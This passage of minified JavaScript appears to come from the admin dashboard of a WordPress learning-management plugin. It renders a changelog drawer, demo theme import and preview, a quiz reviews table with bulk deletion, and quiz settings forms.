quVTihhhuepZx8KMrIIIQvwpihdTNiFd6POrHYYo8+5sidgP0ZGd+JQFIGHJTcSRkglSLmZiKWV4ZYU4RCsrTjg1tyGdNkVgKpJB9HLRClIvslkKQiRWwRZ4slNTFlIjQpUaWeKvE5piEvAUqjmYjsidGNR+Z3J6FDEgnIOkgVaqibCxYAACH5BAkEAAIALPgALgCFANoAAAL/lI+py+0OQAjg2Yuz3hzOP3XiSJYiiJrqyo4S+lXtTNcHnNr6TuIgDwxifB+h8Zh44WTIZlAJc0qfuKmVF4ldt9yu9wsOi8fksvmMTqvX7Lb7DY/L5/S6/Y7P6/f8vv8PGCg4SFhoeIiYqLjI2Oj4CBkpOUlZaXmJmam5ydnp+QkaKjpKWmp6ivoVkKpAwYowwcRa9Cqg9Qoie5qTiqJbCvM7WoW6VExs6iMMCvVj2uxMmmUsDU07GmHtip3tUz0dzN2NzJytvaxpDs77qX4e6q4N765cTk/OGf/uqW+NbtnPGz999Tr1k2cwILVNBxEyPChQUjMZDf1JNFYxoiNt/xQyLmxEpKPHKI9CioSIb5HJivtAEmG5LhojjjAdugxX8+NMXwZyppwZAYFPkpdqWiw6lB0loxqXMg0H8ClRp0llTjIaM1ZUqbm2Vr12FWvTSFizbgsr9ufGsmMflbVJ9q1Ot3LVAmVrd9Fbs1Tx8pS4t+1dv0rX1p1KNzBUSHvN/kPUGG6jyIIVRbYGuHFeyJQXG1b8NzHowno7Ix48Guzky5sNXT76ObVW0bJD0D5MOtFrzLdxqy7N+rTl13N1E/cM3HTX2LVXMa/d27ft1cdzH9rNm3pw6653tx6E/bug8MI5V7c6/Pxv4+pno9aMnH37x+DJL38P/37y7bfwy7qmP559/e2nnHsE5jdgevM99x+D0gEYCHbQQAiIhOVdJ+B0/kkXHYcOEqbhgbJ1mBZ3hWQYooIFpijfihRW6F1oG5aYoIoIstjijc59yBWO5vHnI4ZABtndkC/CaCRj7cU1JJMrOtmgkk9C6aGUOmYWpZVVagnijlzSeNaXXx2ZxzJTuiajADqSWUdBPWUJ3ksHXGlISEzAOYhJc25JiJ5vghlmn3L+2aOXJw6qJqCGHuqZomziMVECBQAAIfkEBQQAAgAs+ABsACIAnAAAAv+MjqnLGtCidG/aFvLdKVe+eR84iQZZihAamSNLmTDjvrNQn/eRrzuQ2x2AwR/R5YMBji4jU3VbLotKaW8mndaw2Ssrq21+wV4SOCxDnZ+e5GbN1pjX5Te85rbA4zo7HQ+yxxe4VzchOOh3t6W4aJLXgJioh2gYKUklITmpiQl4uJl56SnWGYoEelo6SpoWsWmF+grLuUBbq3AbBzl0K5qg+4ugu8sK+2kbzJjsu5xLjAwM7Tw8vVqtfN1rDfXMLcKc7Yr9LSdNXHxebr693ieAjgauvp4UL59hf595z9kfR29dQHFtyKFD9o9KwmX/ALaLx3Dho4cHZTUscpFRQ4evGzVmTNMRVciJI6GUBLcRYMotK5u0lPES5UkNMT3Am2mgJk2cNz+q0PkgJRuhQ4UiMfoI6U+dRI8yVdoGaj6pQZ/q7Olz50ysEm1S5drPJU+gYCGKzVqBadmKJreuLUfR7Lyrb5uBRLtiZl60BuXajAsXsN2Cgmmt4ts3cGFVhBe3YleXMeSuNsJOHGh4nONClzFLthFZkLbQjhp7rqQ58WPQm8+Mbt3lNenYnRcUAAA7",alt:"announcement",h:"35px",w:"35px",position:"absolute",top:"50%",left:"50%",transform:"translate(-40%, -50%)"}))))))),l().createElement(Hb,{title:(0,E.__)("Latest Updates","learning-management-system"),open:r,onClose:()=>i(!1),side:"right"},l().createElement(Qe.a,{px:4},l().createElement(Gb,{changeLogQuery:s}))))};const Xb=()=>{var e=(0,Je.mN)(),t=new mt(rt.welcomePage),n=(0,Pn.I)({queryKey:["welcomePage"],queryFn:()=>t.list({})});return l().createElement(Je.Op,e,l().createElement(Jb,{hideHomePage:"yes"===R.hideHomePage}),l().createElement(_g,{defaultSettings:{}},l().createElement(vt.sv,{context:{welcomePageQuery:n,hideHomePage:"yes"===R.hideHomePage}})))};var Yb=()=>Array(6).fill(0).map(((e,t)=>l().createElement(Zb,{key:t}))),Zb=()=>l().createElement(Qe.a,{display:"flex",flexDirection:"column",gap:0,flexShrink:0,alignSelf:"flex-start",borderWidth:"2px",borderStyle:"solid",borderColor:"#EDEDED",borderRadius:"md",cursor:"default"},l().createElement(Qe.a,{position:"relative",height:"full",aspectRatio:".84 / 1"},l().createElement(St.E,{height:"full",width:"full",borderTopRadius:"md",startColor:"gray.100",endColor:"gray.200"}),l().createElement(Qe.a,{position:"absolute",top:2,right:2,borderRadius:"md",px:2,py:1},l().createElement(St.E,{height:"18px",width:"48px",borderRadius:"3px"}))),l().createElement(Qe.a,{bg:"white",px:4,py:4,borderTopWidth:"1px",borderTopStyle:"solid",borderTopColor:"#EDEDED",borderBottomRadius:"md"},l().createElement(ft.s,{align:"center",gap:2,m:0,color:"#383838",fontSize:"16px"},l().createElement(Qe.a,null,l().createElement(St.E,{height:"20px",width:"180px"}))))),$b=["fit"];function ew(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}const tw=e=>{var{fit:t=!0}=e,n=function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?ew(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ew(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({w:"100%",h:t?"100vh":"auto",minH:t?"100vh":void 0,overflow:"hidden",p:6},(0,q.A)(e,$b));return l().createElement(Qe.a,n,l().createElement(ft.s,{align:"center",justify:"space-between",gap:2,flexWrap:"wrap"},l().createElement(Qe.a,{w:"60px",h:"60px",borderRadius:"full",bg:"masteriyo-onboard-bg",animation:"pulse 2s infinite"}),l().createElement(ft.s,{gap:8,justify:"space-between",className:"menu-wrapper",flex:"1",minW:"0"},Array.from({length:5}).map(((e,t)=>l().createElement(Qe.a,{key:t,w:{base:"60px",md:"98px"},h:"26px",bg:"#E6E6E6",borderRadius:"sm",animation:"pulse 2s infinite"})))),l().createElement(Qe.a,{w:{base:"30%",md:"15%"},minW:"120px",h:"55px",bg:"#E6E6E6",borderRadius:"sm",animation:"pulse 2s infinite"})),l().createElement(ft.s,{justify:"space-between",align:"center",mt:"50px",mb:"50px",gap:4,direction:{base:"column",md:"row"}},l().createElement(Qe.a,{flex:1,w:"100%",minW:0},l().createElement(ft.s,{direction:"column",gap:9,mb:"8%"},l().createElement(Qe.a,{w:{base:"100%",md:"80%"},h:"48px",bg:"#E6E6E6",animation:"pulse 2s infinite"}),l().createElement(Qe.a,{w:{base:"100%",md:"80%"},h:"18px",bg:"#E6E6E6",animation:"pulse 2s infinite"}),l().createElement(Qe.a,{w:{base:"100%",md:"80%"},h:"18px",bg:"#E6E6E6",animation:"pulse 2s infinite"}),l().createElement(Qe.a,{w:{base:"70%",md:"60%"},h:"18px",bg:"#E6E6E6",animation:"pulse 2s infinite"})),l().createElement(Qe.a,{w:{base:"40%",md:"26%"},minW:"120px",h:"55px",bg:"#E6E6E6",borderRadius:"10px",animation:"pulse 2s infinite"})),l().createElement(Qe.a,{w:{base:"100%",md:"40%"},minW:"250px",h:{base:"220px",md:"450px"},bg:"#E6E6E6",animation:"pulse 2s infinite"})),l().createElement(ft.s,{justify:"space-between",gap:9,direction:{base:"column",md:"row"}},l().createElement(Qe.a,{w:"100%",h:{base:"180px",md:"350px"},bg:"#E6E6E6",animation:"pulse 2s infinite"}),l().createElement(ft.s,{direction:"column",gap:9,w:"100%",h:{base:"360px",md:"350px"}},l().createElement(Qe.a,{flex:1,w:"full",bg:"#E6E6E6",animation:"pulse 2s infinite"}),l().createElement(Qe.a,{flex:1,w:"full",bg:"#E6E6E6",animation:"pulse 2s infinite"})),l().createElement(Qe.a,{w:"100%",h:{base:"180px",md:"350px"},bg:"#E6E6E6",animation:"pulse 2s infinite"})))};var nw=n(77182);const aw=e=>{var{demo:t}=e,n=(0,nw.V)("DemoCard");return l().createElement(Qe.a,{__css:n,display:"flex",flexDirection:"column",gap:0,flexShrink:0,alignSelf:"flex-start",borderWidth:"2px",borderStyle:"solid",borderColor:"#EDEDED",borderRadius:"md",cursor:"pointer"},l().createElement(Qe.a,null,l().createElement(Qe.a,{position:"relative",height:"full",aspectRatio:".84 / 1"},t.previewImage?l().createElement(qe._,{src:t.previewImage,width:"full",height:"full",borderTopRadius:"md"}):l().createElement(St.E,{height:"full",width:"full"})),l().createElement(Qe.a,{bg:"white",px:4,py:4,borderTopWidth:"1px",borderTopStyle:"solid",borderTopColor:"#EDEDED",borderBottomRadius:"md"},l().createElement(ft.s,{align:"center",gap:2,m:0,color:"#383838",fontSize:"16px"},l().createElement(g.E,{as:"h4",m:0,fontSize:"16px",fontWeight:"medium"},t.title||t.slug.replace(/-/g," ").replace(/\b\w/g,(e=>e.toUpperCase())))))))};var lw=[{id:"elementor",value:"Elementor"},{id:"gutenberg",value:"Gutenberg"}];const rw=()=>{var e,t=new mt(rt.demos),[n,r]=(0,a.useState)({id:"gutenberg",value:"Gutenberg"}),[i,o]=(0,a.useState)(null),[s,m]=(0,a.useState)(!1),[c,u]=(0,a.useState)(!1),[d,A]=(0,a.useState)(!0),y=(0,Pn.I)({queryKey:["demos"],queryFn:()=>t.list(),staleTime:1/0,gcTime:1/0,refetchOnWindowFocus:!1,refetchOnMount:!1}),v=(0,a.useMemo)((()=>{var e;return(null==y||null===(e=y.data)||void 0===e||null===(e=e.demos)||void 0===e?void 0:e.filter((e=>(null==e?void 0:e.pagebuilder)===(null==n?void 0:n.value))))||[]}),[null==y||null===(e=y.data)||void 0===e?void 0:e.demos,n]);return(0,a.useEffect)((()=>{i&&(u(!1),m(!1))}),[i]),l().createElement(De.m,{maxW:"container.xl",px:{base:5,md:10}},d&&l().createElement(at,{mt:4,mb:-2,height:"12"},l().createElement(Ze.z,{gap:1},l().createElement(g.E,{fontSize:"sm",color:"gray.700"},(0,E.__)("This will replace your active theme with the eLearning theme and add demo pages and courses. Your existing content won't be deleted, but may be affected.","learning-management-system")))),l().createElement(Bt.e,{isAttached:!0,variant:"outline",width:"fit-content",my:8},lw.map((e=>{var{id:t,value:a}=e;return l().createElement(p.$,{key:t,size:"sm",px:4,border:"1px",borderRadius:"md",borderColor:(null==n?void 0:n.value)===a?"primary.500":"gray.200",bg:(null==n?void 0:n.value)===a?"primary.500":"white",color:(null==n?void 0:n.value)===a?"white":"gray.600",_hover:{bg:(null==n?void 0:n.value)===a?"primary.600":"gray.100"},transition:"background 0.3s, color 0.3s",onClick:()=>r({id:t,value:a}),"aria-label":"Sort by ".concat(a),title:"Sort by ".concat(a),width:"100%"},a)}))),l().createElement(br.x,{templateColumns:{base:"repeat(1, 1fr)",sm:"repeat(1, 1fr)",lg:"repeat(3, 1fr)"},gap:8},null!=y&&y.isPending?l().createElement(Yb,null):null==v?void 0:v.map(((e,t)=>{var a,r;return l().createElement(Qe.a,{key:"".concat(e.slug,"-").concat(t),role:"group",position:"relative",borderRadius:"md",overflow:"hidden",bg:"white",transition:"all 0.3s",_hover:{borderColor:"#5182EF",boxShadow:"0px 4px 14px rgba(81, 130, 239, 0.3)"}},l().createElement(aw,{demo:e}),l().createElement(Qe.a,{position:"absolute",inset:0,display:"flex",alignItems:"center",justifyContent:"center",bg:"rgba(255, 255, 255, 0.8)",opacity:0,transition:"opacity 0.18s ease",_groupHover:{opacity:1,pointerEvents:"auto"},zIndex:2,pointerEvents:"none",height:"calc(100% - 61px)"},l().createElement(Ze.z,{spacing:3},l().createElement(p.$,{size:"md",onClick:()=>(e=>{window.location.href="".concat(null==R?void 0:R.adminUrl,"index.php?page=masteriyo-onboard#/import-demo/").concat(null==e?void 0:e.slug,"/").concat(null==e?void 0:e.theme_slug,"?step=templates&builder=").concat(null==n?void 0:n.id,"&ref=backend-template-page")})(e),"aria-label":"Import ".concat(null!==(a=null==e?void 0:e.title)&&void 0!==a?a:null==e?void 0:e.slug)},(0,E.__)("Import","learning-management-system")),l().createElement(p.$,{size:"md",variant:"outline",onClick:()=>(e=>{o(e)})(e),"aria-label":"Preview ".concat(null!==(r=null==e?void 0:e.title)&&void 0!==r?r:null==e?void 0:e.slug)},(0,E.__)("Preview","learning-management-system")))))}))),l().createElement(h.aF,{isOpen:Boolean(i),onClose:()=>o(null),size:s?"full":"6xl",isCentered:!s,scrollBehavior:"inside",motionPreset:"none"},l().createElement(f.m,null),l().createElement(b.$,{bg:"gray.50",borderRadius:"lg",boxShadow:"lg",zIndex:s?9998:void 0,mt:s?"32px":void 0,ml:s?"161px":void 0},l().createElement(w.r,{p:4},l().createElement(ft.s,{justify:"flex-end",align:"center",gap:2},l().createElement(Un.K,{"aria-label":"Toggle fullscreen",icon:s?l().createElement(et.SE2,null):l().createElement(et.KFS,null),size:"sm",variant:"ghost",onClick:()=>m((e=>!e))}),l().createElement(C.s,{position:"static"}))),l().createElement(x.c,{overflow:"hidden",bg:"white",p:0,maxH:s?"calc(100vh - 32px)":"600px"},i&&l().createElement(l().Fragment,null,!c&&l().createElement(tw,null),l().createElement(Qe.a,{p:6,display:c?"block":"none"},l().createElement(Qe.a,{as:"iframe",key:i.slug,src:i.url,onLoad:()=>u(!0),width:"100%",height:s?"calc(100vh - 100px)":"600px",border:"none",borderRadius:"md",style:{display:"block",background:"white",overflowX:"hidden"},sx:{"&::-webkit-scrollbar":{display:"none"}}})))))))};const iw=e=>{var t,{filterParams:n,setFilterParams:a}=e,r=new mt(rt.users),[i]=(0,v.ok)(),o=i.get("status")||"all",s=(0,Pn.I)({queryKey:["userList"],queryFn:()=>r.list({order_by:"name",order:"asc",per_page:5})}),{handleSubmit:m,register:c,setValue:u}=(0,Je.mN)(),d=(0,wr.z)({onTypeFinish:e=>{a({parent:0,user:n.user,quiz:n.quiz,search:e,status:o})}},800),g=e=>{a(ne(ee(e,{search:n.search,parent:0,status:o})))};return l().createElement(Qe.a,{px:{base:6,md:12}},l().createElement("form",{onChange:m(g)},l().createElement(br.x,{gridTemplateColumns:{md:"repeat(2, 1fr)"},gap:"4"},l().createElement(Ma.p,(0,Re.A)({placeholder:(0,E.__)("Search reviews","learning-management-system")},d,{height:"40px"})),l().createElement(Co,(0,Re.A)({},c("user"),{onChange:e=>{u("user",null==e?void 0:e.value.toString()),m(g)()},placeholder:(0,E.__)("Filter by Student","learning-management-system"),isClearable:!0,styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching Student...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("Student not found.","learning-management-system"):s.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter 1 or more characters.","learning-management-system")},defaultOptions:s.isSuccess?null==s||null===(t=s.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>({value:null==e?void 0:e.id,label:"".concat(null==e?void 0:e.username," (#").concat(null==e?void 0:e.id," - ").concat(null==e?void 0:e.email,")")}))):[],loadOptions:(e,t)=>{if(e.length<0)return t([]);r.list({search:e}).then((e=>{var n;t(null==e||null===(n=e.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"".concat(e.username," (#").concat(e.id," - ").concat(e.email,")")}))))}))}})))))};const ow=function(e){var{isOpen:t,onClose:n,description:a,title:r,author_name:i}=e;return l().createElement(l().Fragment,null,l().createElement(h.aF,{isOpen:t,onClose:n},l().createElement(f.m,null),l().createElement(b.$,{bg:"white"},l().createElement(w.r,null,r),l().createElement(C.s,null),l().createElement(x.c,{mb:"3"},l().createElement(g.E,{fontSize:"md"},a)))))};const sw=e=>{var t,n,a,r,{data:i,setBulkIds:o,isLoading:s,bulkIds:m,onDeletePress:c}=e,{isOpen:u,onOpen:A,onClose:y}=(0,Ue.j)();return l().createElement(l().Fragment,null,l().createElement(_n.Tr,null,l().createElement(_n.Td,null,l().createElement(l().Fragment,null,l().createElement(ow,{isOpen:u,onClose:y,title:null==i?void 0:i.title,author_name:null==i?void 0:i.author_name,description:null==i?void 0:i.description}),l().createElement(On.S,{isDisabled:s,isChecked:m.includes(i.id.toString()),onChange:e=>o(e.target.checked?[...m,i.id.toString()]:m.filter((e=>e!==i.id.toString())))}))),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"column",spacing:"2"},l().createElement(g.E,{fontWeight:"semibold",fontSize:"sm"},"#",null==i?void 0:i.id," ",null==i||null===(t=i.user)||void 0===t?void 0:t.first_name," ",null==i||null===(n=i.user)||void 0===n?void 0:n.last_name),l().createElement(g.E,{color:"gray.600",fontSize:"xs"},null==i?void 0:i.author_name," (",null==i?void 0:i.author_email,")"))),l().createElement(_n.Td,null,l().createElement(g.E,{fontWeight:"bold",color:"gray.600",fontSize:"sm"},null==i?void 0:i.title),l().createElement(g.E,{color:"gray.600",fontSize:"xs"},(0,E.__)("Course:","learning-management-system")," ",null==i||null===(a=i.course)||void 0===a?void 0:a.name)),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"column",spacing:"2"},l().createElement(g.E,{fontWeight:"bold",color:"gray.600",fontSize:"sm"},null==i||null===(r=i.quiz)||void 0===r?void 0:r.name))),l().createElement(_n.Td,null,l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",variant:"outline",size:"xs",onClick:()=>A()},(0,E.__)("View","learning-management-system")),l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>c(i.id),icon:l().createElement(ea,{width:"12px",height:"12px",fill:"currentColor"}),_hover:{color:"red.500"}},(0,E.__)("Delete","learning-management-system"))))))))};function mw(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function cw(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?mw(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):mw(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const uw=()=>{var e,t,n,r,i,o,m,c,[u,A]=(0,a.useState)({}),p=new mt(rt.quizesReview),y=(0,Pn.I)({queryKey:["quizReviewsList",u],queryFn:()=>p.list(u)}),v=((0,vt.zy)(),(0,We.d)()),f=(0,s.jE)(),{onClose:h,onOpen:b,isOpen:w}=(0,Ue.j)(),[C,x]=(0,a.useState)(""),[S,B]=(0,a.useState)([]),[I,O]=(0,a.useState)(),P=(0,wt.n)(cw({mutationFn:e=>p.bulkDelete("delete",{ids:e})},{onSuccess(){f.invalidateQueries({queryKey:["quizReviewsList"]}),h(),B([]),v({title:(0,E.__)("Quiz reviews Deleted","learning-management-system"),isClosable:!0,status:"success"})},onError(e){var t,n;h(),v({title:(0,E.__)("Failed to delete quiz reviews","learning-management-system"),description:null!=e&&e.message?null==e?void 0:e.message:null!=e&&null!==(t=e.response)&&void 0!==t&&null!==(t=t.data)&&void 0!==t&&t.message?"".concat(null==e||null===(n=e.response)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.message):null,isClosable:!0,status:"error"})}})),D=(0,wt.n)(cw({mutationFn:e=>p.delete(e)},{onSuccess:()=>{f.invalidateQueries({queryKey:["quizReviewsList"]}),h(),v({title:(0,E.__)("Quiz review deleted","learning-management-system"),status:"success",isClosable:!0})},onError:e=>{var t,n;h(),v({title:(0,E.__)("Failed to delete quiz review","learning-management-system"),description:null!=e&&e.message?null==e?void 0:e.message:null!=e&&null!==(t=e.response)&&void 0!==t&&null!==(t=t.data)&&void 0!==t&&t.message?"".concat(null==e||null===(n=e.response)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.message):null,isClosable:!0,status:"error"})}})),_=e=>{O(e),b()};return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,{gap:7},l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{to:Pt.quiz_attempts.list,_activeLink:on},l().createElement(g.E,{fontSize:"sm",fontWeight:"semibold",_groupHover:{color:"primary.500"}},(0,E.__)("Quiz Attempts","learning-management-system")))),l().createElement(vn,null,l().createElement(fn,{to:Pt.quiz_reviews.list,_activeLink:on},l().createElement(g.E,{fontSize:"sm",fontWeight:"semibold",_groupHover:{color:"primary.500"}},(0,E.__)("Quiz Reviews","learning-management-system")))))))),l().createElement(De.m,{maxW:"container.xl",marginTop:"6"},l().createElement(Qe.a,{bg:"white",py:{base:6,md:12},shadow:"box",mx:"auto"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(iw,{filterParams:u,setFilterParams:A}),l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(_n.XI,null,null!=y&&y.isLoading?l().createElement(xd,null):null!=y&&y.isSuccess&&$(null==y||null===(e=y.data)||void 0===e?void 0:e.data)?l().createElement(Mn,{title:(0,E.__)("No Quiz Reviews Yet","learning-management-system"),isResultFiltered:Boolean((null==u?void 0:u.search)||(null==u?void 0:u.user))}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,l().createElement(On.S,{isDisabled:y.isLoading||y.isFetching||y.isRefetching,isIndeterminate:(null==y||null===(t=y.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.length)!==S.length&&S.length>0,isChecked:(null==y||null===(n=y.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.length)===S.length&&!$(null==y||null===(r=y.data)||void 0===r?void 0:r.data),onChange:e=>{var t;return B(e.target.checked?null==y||null===(t=y.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>e.id.toString())):[])}})),l().createElement(_n.Th,null,(0,E.__)("Student Info","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Title","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Quiz","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system")))),l().createElement(_n.NN,null,null==y||null===(i=y.data)||void 0===i||null===(i=i.data)||void 0===i?void 0:i.map((e=>l().createElement(sw,{key:null==e?void 0:e.id,data:e,setBulkIds:B,bulkIds:S,isLoading:y.isLoading||y.isFetching||y.isRefetching,onDeletePress:_}))))))))),y.isSuccess&&!$(null==y||null===(o=y.data)||void 0===o?void 0:o.data)&&l().createElement(ba,{metaData:null==y||null===(m=y.data)||void 0===m?void 0:m.meta,setFilterParams:A,perPageText:"Quiz Reviews Per Page:"})),l().createElement(ta,{trashable:!1,openToast:b,status:"trash",setBulkAction:x,bulkIds:S,setBulkIds:B}),l().createElement(qn,{isOpen:w,onClose:h,confirmButtonColorScheme:"restore"===C?"primary":void 0,onConfirm:""===C?()=>{I&&D.mutate(I)}:()=>{P.mutate(S)},action:"delete",isLoading:""===C?D.isPending:P.isPending,dialogTexts:{default:{header:null!==(c=(0,E.__)("Deleting Quiz Review","learning-management-system")+I)&&void 0!==c?c:" #".concat(I),body:(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),confirm:(0,E.__)("Move to Trash","learning-management-system")},delete:{header:(0,E.__)("Deleting Quiz Reviews","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting."),confirm:(0,E.__)("Delete","learning-management-system")}}}))};var dw=()=>l().createElement(d.B,{direction:"column",spacing:4,w:"full",alignItems:"center",bg:"white",p:4,borderRadius:"md"},l().createElement(ft.s,{w:{base:"full",md:"md"},align:"center",justify:"space-between"},[1,2,3].map(((e,t)=>l().createElement(Ze.z,{key:t,spacing:2,flex:"1"},l().createElement(Xt.Q,{size:"8"}),l().createElement(Ba.r,{noOfLines:1,width:"60px"}),t<2&&l().createElement(Qe.a,{flex:"1",h:"2px",bg:"gray.200",mr:2},l().createElement(Qe.a,{w:"full",h:"full",bg:"gray.300"})))))));const gw=()=>l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Qe.a,{bg:"white",w:"full",shadow:"header",pb:["3",0,0]},l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:["column","row"],justifyContent:"space-between",align:"center"},l().createElement(d.B,{direction:["column",null,"row"],spacing:["3",null,"8"],align:"center",minHeight:"16"},l().createElement(Qe.a,{display:["none",null,"block"]},l().createElement(qe._,{src:It,w:"36px"})),l().createElement(Ba.r,{noOfLines:1,width:"80px"}),l().createElement(d.B,{direction:"row",alignItems:"center",gap:"5",mt:"0px !important"},l().createElement(d.B,{direction:"row",gap:"3",alignItems:"center"},l().createElement(Xt.Q,{size:"4"}),l().createElement(Ba.r,{noOfLines:1,width:"40px"})),l().createElement(d.B,{direction:"row",gap:"3",alignItems:"center"},l().createElement(Xt.Q,{size:"4"}),l().createElement(Ba.r,{noOfLines:1,width:"40px"})),l().createElement(d.B,{direction:"row",gap:"3",alignItems:"center"},l().createElement(Xt.Q,{size:"4"}),l().createElement(Ba.r,{noOfLines:1,width:"40px"})))),l().createElement(Bt.e,null,l().createElement(St.E,{height:"40px",width:"70px"}),l().createElement(St.E,{height:"40px",width:"70px"}),l().createElement(St.E,{height:"40px",width:"70px"}))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(dw,null),l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(St.E,{height:"40px"}),l().createElement(St.E,{height:"400px"})))))))));const Aw=e=>{var t,{defaultValue:n}=e,{register:a,formState:{errors:r}}=(0,Je.xW)();return l().createElement(Ne.MJ,{isInvalid:!(null==r||!r.name)},l().createElement(Ge.l,null,(0,E.__)("Quiz Name","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({autoFocus:!0,defaultValue:n,placeholder:(0,E.__)("Your Quiz Name","learning-management-system")},a("name",{required:(0,E.__)("You must provide a name for the quiz.","learning-management-system")}))),l().createElement(ui.Wt,null,(null==r?void 0:r.name)&&(null==r||null===(t=r.name)||void 0===t?void 0:t.message)))};const pw=e=>{var t,n,r,i,o,s,{quizData:m}=e,{formState:{errors:c},setValue:u,control:g,watch:A}=(0,Je.xW)(),[p,y]=Zu((null==m?void 0:m.duration)||0),[v,f]=(0,a.useState)(m&&0!=(null==m?void 0:m.attempts_allowed)?"1":"0"),h=0===(null==m?void 0:m.questions_display_per_page)?"0":"1",b=(0,Je.FH)({name:"questions_display_per_page",defaultValue:null==m?void 0:m.questions_display_per_page.toString(),control:g}),w=(0,Je.FH)({name:"reveal_mode",defaultValue:null==m?void 0:m.reveal_mode,control:g}),C=(0,Je.FH)({name:"attempts_allowed",defaultValue:null==m?void 0:m.attempts_allowed,control:g});return(0,a.useEffect)((()=>{w?"0"===v&&(u("attempts_allowed",1),f("1")):(u("attempts_allowed",null!=C?C:5),f(0!=C?"1":"0"))}),[w,u,C,v]),l().createElement(nm.t,{orientation:"vertical"},l().createElement(d.B,{direction:"row",flex:"1"},l().createElement(Tm.w,{sx:cn},l().createElement(Um.o,{sx:sn},(0,E.__)("General","learning-management-system")),l().createElement(Um.o,{sx:sn},(0,E.__)("Display","learning-management-system"))),l().createElement(Wm.T,{flex:"1"},l().createElement(Km.K,null,l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Fa,{isInvalid:!(null==c||!c.full_mark)},l().createElement(Ge.l,null,(0,E.__)("Full Points","learning-management-system")),l().createElement(d.B,null,l().createElement(Je.xI,{name:"full_mark",defaultValue:(null==m?void 0:m.full_mark)||100,rules:{required:(0,E.__)("Full points is required for the quiz.","learning-management-system")},render:e=>{var{field:t}=e;return l().createElement(yi.Q7,(0,Re.A)({},t,{w:"full",min:1}),l().createElement(yi.OO,{borderRadius:"sm",shadow:"input"}),l().createElement(yi.lw,null,l().createElement(yi.Q0,null),l().createElement(yi.Sh,null)))}}),l().createElement(ui.Wt,null,(null==c?void 0:c.full_mark)&&(null==c||null===(t=c.full_mark)||void 0===t?void 0:t.message)))),l().createElement(Fa,{isInvalid:!(null==c||!c.pass_mark)},l().createElement(Ge.l,null,(0,E.__)("Pass Points","learning-management-system")),l().createElement(d.B,null,l().createElement(Je.xI,{name:"pass_mark",defaultValue:(null==m?void 0:m.pass_mark)||40,rules:{required:(0,E.__)("Pass points is required for the quiz.","learning-management-system")},render:e=>{var{field:t}=e;return l().createElement(yi.Q7,(0,Re.A)({},t,{w:"full",min:1}),l().createElement(yi.OO,{borderRadius:"sm",shadow:"input"}),l().createElement(yi.lw,null,l().createElement(yi.Q0,null),l().createElement(yi.Sh,null)))}}),l().createElement(ui.Wt,null,(null==c?void 0:c.pass_mark)&&(null==c||null===(n=c.pass_mark)||void 0===n?void 0:n.message)))),l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Duration","learning-management-system")),l().createElement(d.B,{direction:["column","column","column","row"]},l().createElement(Ne.MJ,{isInvalid:!(null==c||!c.duration_hour)},l().createElement(Je.xI,{name:"duration_hour",defaultValue:p||0,rules:{required:(0,E.__)("Hours is required.","learning-management-system"),min:0},render:e=>{var{field:t}=e;return 